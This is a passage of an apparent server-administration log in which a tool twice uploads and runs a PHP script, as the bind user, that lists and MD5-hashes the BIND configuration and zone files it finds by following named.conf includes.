MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:18:00: Establishing a connection
2026-04-25 20:18:01: 

PUT: /tmp/pkp833876

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:18:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp833876; rm /tmp/pkp833876'

2026-04-25 20:18:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:18:05: Establishing a connection
2026-04-25 20:18:06: 

PUT: /tmp/pkp352048

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:18:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp352048; rm /tmp/pkp352048'

2026-04-25 20:18:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
